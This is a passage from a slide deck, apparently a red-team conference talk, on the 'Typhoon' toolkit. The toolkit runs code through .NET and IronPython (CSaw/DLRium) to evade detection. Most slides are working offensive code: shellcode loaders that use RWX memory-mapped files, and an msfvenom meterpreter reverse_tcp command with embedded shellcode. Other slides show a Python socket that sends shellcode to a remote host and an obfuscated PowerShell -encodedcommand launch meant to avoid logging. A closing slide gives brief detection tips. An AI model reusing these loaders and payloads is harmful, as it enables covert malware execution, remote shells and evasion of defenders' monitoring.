  • 67. a. Normal invoke. // Obtain the runtime. var IPY = Python.CreateRuntime(); // Create a dynamic object containing the script. dynamic TestPy = IPY.UseFile(“TestClass.py”); // Execute the __test__() method. TestPy.__test__(); ``` b. Reflective IronPython Invoke // Introspect iPython module: // Create an object for performing tasks with the script. ObjectOperations Ops = Eng.CreateOperations(); // Create the class object. Source.Execute(Scope); // Obtain the class object. Object CalcClass = Scope.GetVariable(“DoCalculations”); // Create an instance of the class. Object CalcObj = Ops.Invoke(CalcClass); // Get the method you want to use from the class instance. Object AddMe = Ops.GetMember(CalcObj, “DoAdd”); // Perform the add. Int32 Result = (Int32)Ops.Invoke(AddMe, 5, 10); 2. Invoke PyDLR class from CSharp Typhoon DLRium Evasion
  • 68. // options for the compiler. We choose `unsafe` because we want a raw pointer to the buffer containing shellcode parameters.CompilerOptions += "/nologo /unsafe" Shellcode Payloads Staying alive during Recon is focus. However, nothing stops from developing heavy artillery from this Options: • void pointer to memory mapped file • via VirtualAlloc() Typhoon CSaw/DLRium - Beyond Recon
  • 69. mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); // Create a memory mapped view accessor with read/write/execute permissions.. mmva = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); // Write the shellcode to the MMF.. mmva.WriteArray(0, shellcode, 0, shellcode.Length); // Obtain a pointer to our MMF.. var pointer = (byte*)0; mmva.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer); // Create a function delegate to the shellcode in our MMF.. var func = (GetPebDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(GetPebDelegate)); // Invoke the shellcode.. return func(); Typhoon Scaw/DLRium - Beyond Recon Evasion
  • 70. Dictionary<String, MemoryMappedFile> mmfRepo = new Dictionary<String, MemoryMappedFile>(); // Load network bytes into memory stream and unzip in memory. Stream dllzipdata = new MemoryStream(dllzip); ZipArchive dllarchive = new ZipArchive(dllzipdata, ZipArchiveMode.Read); Stream unzippedCSDataStream; MemoryMappedFile mmf; foreach (ZipArchiveEntry entry in dllarchive.Entries) { if (entry.Name == @"payload.py") { unzippedCSDataStream = entry.Open(); // Prepare Memory Map for file mmf = MemoryMappedFile.CreateNew(entry.Name, entry.Length); // Save mmf mmfRepo.Add(entry.Name, mmf); StreamReader reader = new StreamReader(unzippedCSDataStream); string codeText = reader.ReadToEnd(); byte[] Buffer = ASCIIEncoding.ASCII.GetBytes(codeText); using (MemoryMappedViewStream stream = mmf.CreateViewStream()) { BinaryWriter writer = new BinaryWriter(stream); writer.Write(Buffer); } } } Typhoon Evasion
  • 71. private WorkThreadFunction(ShellCode){ DynCSharpRunner.CompileRunShellCode(ShellCode); } /* msfvenom -p windows/meterpreter/reverse_tcp --platform windows ReverseConnectRetries=255 PrependMigrate=true LHOST=172.16.56.230 LPORT=1337 -e x86/shikata_ga_nai -i 3 -f csharp */ String ShellCode = @" 0xdb,0xc0,0xb8,0x22,0x07,0x27,0xf3,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1, 0x61,0x31,0x46,0x1a,0x83,0xc6,0x04,0x03,0x46,0x16,0xe2,0xd7,0xba,0x1c,0x88, 0xb0,0x69,0xed,0x38,0xfb,0x8e,0x25,0x5a,0x04 .... "; Thread thread = new Thread(new ThreadStart(WorkThreadFunction)); thread.IsBackground = true; thread.Start(); • CSaw style Typhoon Scaw/DLRium - Beyond Recon
  • 72. from System.Threading import Thread, ThreadStart def scode(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.88.31", 8080)) buf = "" buf += "xdbxc3xbdx9cxecx7cx70xd9x74x24xf4x5ax31" buf += "xdcx3ax3fx58xecx00x16x38x52x32xb2x79xb4" buf += "x39x23x2fxaexbex29xd3x63xb1xc6xb5xf9" sock.send(buf) sock.close() scode() • DLRium style Typhoon CSaw/DLRium - Beyond Recon Evasion
  • 73. If you still need Powershell or other process interface you could do: from System.Diagnostics import Process # More controlled invocation p = Process() p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.FileName = 'pOwersHell.exE' p.StartInfo.Arguments = " -nop -encodedcommand JABzAD0ATgBlAHcALQBPAGI ..... " p.Start() p.WaitForExit() Typhoon CSaw/DLRium - Beyond Recon Evasion
  • 74. from System.Collections.Generic import IEnumerable, List list = List[int]([1, 2, 3]) import clr clr.AddReference("System.Core") from System.Linq import Enumerable Enumerable.Any[int](list, lambda x : x < 2) Typhoon DLRium - Development DLR Python (IronPython): Porting CSharp code: Lists, Lambdas, etc.
  • 75. Goals • Ability to leverage DLR to avoid Powershell logging while preserving scriptability (in comparison to statically compiled C#) • Ability to leverage Python expressiveness and dynamic typing while still having ability to transparently engage .Net framework mechanisms • Ability to compile Python to exe or dll via DLR • Ability to drop down to .Net from Python or to Python from .Net (stealth, Evasion) • Load from ByteStream (no need to delete or have Assembly image on disk) • Interop to native unmanaged with load/unload DLRium: • Specifically IronPython • Dynamic types. Python rocks for offense • Fully reflected code. Analysis paralysis (for some) • Python + .Net wealth of classes and interfaces. • Python + StdLib (if needed). != Cpython Typhoon DLRium
  • 76. CSaw DLRium CS REPL Typhoon.exe -mode=csrepl -type=multi CS Extension contract code compilation and execution: Typhoon.exe -mode=exec -type=cs -method=sfile - resource=....ExamplesExtensionsScratch.cs - class=Typhoon.Extensions.Scratch CS code extension: Phased compilation and execution Compile CS code into Assembly DLL: Typhoon.exe -mode=comp -type=cs - resource=....ExamplesExtensionsClipboardManager.cs Load Assembly DLL and execute an extension contract: Typhoon.exe -mode=exec -type=cs -method=afile - resource=.tmp4E52.dll - class=Typhoon.Extensions.ClipboardManager Python DLR REPL Typhoon.exe -mode=pyrepl -type=single Typhoon.exe -mode=pyrepl -type=multi Python DLR Execute script Typhoon.exe -mode=exec -type=py -method=sfile - resource=.test.py Python DLR Execute script (with args passed to script) Typhoon.exe -mode=exec -type=py -method=sfile - resource=....Examplespy2exePyc.py -targs=" /target:exe /platform:x64 /main:test_main.py test_main.py" Python DLR compile to EXE via DLR Typhoon.exe -mode=exec -type=py -method=sfile - resource=....Examplespy2exePyc.py -targs=" /target:exe /platform:x64 /main:test_main.py test_main.py” Python DLR compile to DLL via DLR Typhoon.exe -mode=exec -type=py -method=sfile - resource=....Examplespy2exePyc.py -targs=" /target:dll /platform:x86 " Typhoon Managed Execution Toolkit Concept
  • 77. Application Whitelisting is key. Csaw: • Watch csc.exe execution • Watch ephemeral artifacts in temp directory (or current directory) – everywhere ;) • Names of DLLs can be anything. .NET does not care • Collect code and command lines from traces of csc.exe (They get deleted after compilation) DLRium: Watch loading of embedded DLLs as resources. Hard to do on non- instrumented system • Watch invocation of Microsoft.Scripting and Microsoft.Dynamic Hard to do on non- instrumented system • IronPython.dll • YMMV…. Typhoon Defense
  • 78. Thank You Q&A Twitter: @Op_Nomad Github: /dsnezhkov https://github.com/dsnezhkov/typhoon WIP - Alpha!